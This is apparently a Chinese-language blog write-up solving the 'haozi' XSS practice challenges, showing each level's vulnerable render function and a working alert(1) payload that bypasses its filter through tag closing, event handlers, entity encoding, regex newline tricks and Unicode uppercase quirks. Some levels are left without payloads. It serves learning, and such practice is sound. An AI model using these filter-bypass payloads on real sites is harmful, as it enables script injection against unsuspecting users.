haozi xss刷题记录

题目平台

项目地址

这里只需要能alert(1)即可通关,比较基础,可以练练手

0x00

server code:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

这里没有任何过滤,直接可以进行xss

payload:

1
<script>alert(1)</script>

0x01

server code:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

这里没有任何过滤,闭合<textarea>标签即可直接可以进行xss

payload:

1
</textarea><script>alert(1)</script>

0x02

server code:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

这里有两种考虑的方法

方法1

先闭合value",然后在input标签中加载js事件,但是这个需要被攻击者配合,并不能直接加载

payload:

1
" onmousemove= "alert(1)" ><!--">

方法2

闭合input标签,直接使用script标签

payload:

1
"><script>alert(1)</script><!--

0x03

server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

这里过滤了(),可以使用`

payload:

1
<script>alert`1`</script>

0x04

server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

这里过滤了[]()`,可以用html编码绕过

payload:

1
<img src=1 onerror=alert&#40;1&#41;>

0x05

server code:

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

这里的考点就是html中的注释,如下

1
2
3
4
5
6
7
8
//               单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释

虽然这里过滤了-->,但是还是可以用--!>绕过

payload:

1
--!><img src=x onerror=alert(1)>

0x06

server code:

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

这里正则过滤时有一个漏洞,即它是匹配on****=整体,所以我们只需要在=前面换行即可

payload:

1
2
type="image" src=x onerror
="alert(1)"

0x07

server code:

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

这里过滤了<>内的所有字符,这样的话我们需要知道一个特性,就是当标签为<img时,也是可以正常显示的,浏览器会自动补全标签

payload:

1
<img src=x onerror=alert(1)<!--

0x08

server code:

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

这里也是因为正则匹配的问题,不应该匹配标签,应该直接匹配关键字,所以可以用<style >

1
2
<style
>

来绕过

payload:

1
2
3
4
</style ><script>alert(1)</script>

</style
><script>alert(1)</script>

0x09

server code:

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

这里只要求了匹配完整的http://www.segmentfault.com或者https://www.segmentfault.com

这样的话,如果网站能够访问,那么我们加载onload事件,如果不能网站访问,那么我们加载onerror事件

payload:

1
2
3
http://www.segmentfault.com1" onerror="alert(1)

https://www.segmentfault.com" onload="alert(1)

0x0A

server code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

payload:

1
2


0x0B

server code:

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

这里把输入的全部进行大写,这样的话函数和方法就会失效,但是我们可以用html编码绕过

这里其实有一个关于浏览器解析的知识,script标签内不支持html解析,只支持js解析,所以在script标签内使用html编码是无效的

payload:

1
<img src="x" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

0x0C

server code:

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

这里跟上题一样,只是过滤了script,直接用上题的payload即可

payload:

1
<img src="x" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

0x0D

server code:

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
1
2
3
4
5
6
7
8
//               单行注释(js)
<!-- --!> 注释多行内容(html)
<!-- --> 注释多行内容(html)
<-- --> 注释多行内容(html)
<-- --!> 注释多行内容(html)
--> 单行注释后面内容(js)
/* */ 多行注释(js)
有时还可以利用浏览器的容错性,不需要注释

这里利用的就是js中的注释

payload:

1
2
3

alert(1)
-->

0x0E

server code:

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

这里利用的是古英文中的字母ſ,我也是第一次听说,更多的可以参考「长S」的故事,与 ß 和积分符号

方法1:这里进行了大写绕过,由于在script标签中,是无法进行html编码解析的,但是可以用svg标签包住script标签,这样就可以解析了

方法2:外链一个js文件

payload:

1
<ſvg><ſcript>&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</ſcript></ſvg>

0x0F

server code:

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

这里会把输入的内容进行html编码,但是并没有什么用,因为输入的内容在html标签中,这样是会先进行html解码的(如果不明白可以去了解浏览器自解码机制),所以过滤是失效的

payload:

1
');alert('1

0x10

server code:

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

这里简单的引用一下网上的解释:Window 对象表示一个浏览器窗口或一个框架。在客户端 JavaScript 中,Window对象是全局对象,所有的表达式都在当前的环境中计算。也就是说,要引用当前窗口根本不需要特殊的语法,可以把那个窗口的属性作为全局变量来使用。例如,可以只写document,而不必写 window.document

所以这里直接传值就好了

payload:

1
alert(1)

0x11

server code:

1
2


payload:

0x12

server code:

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

payload:

本文标题:haozi xss刷题记录

文章作者:xianyu123

发布时间:2020年02月02日 - 16:21

最后更新:2020年06月09日 - 16:31

原始链接:http://0clickjacking0.github.io/2020/02/02/haozi-xss刷题记录/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------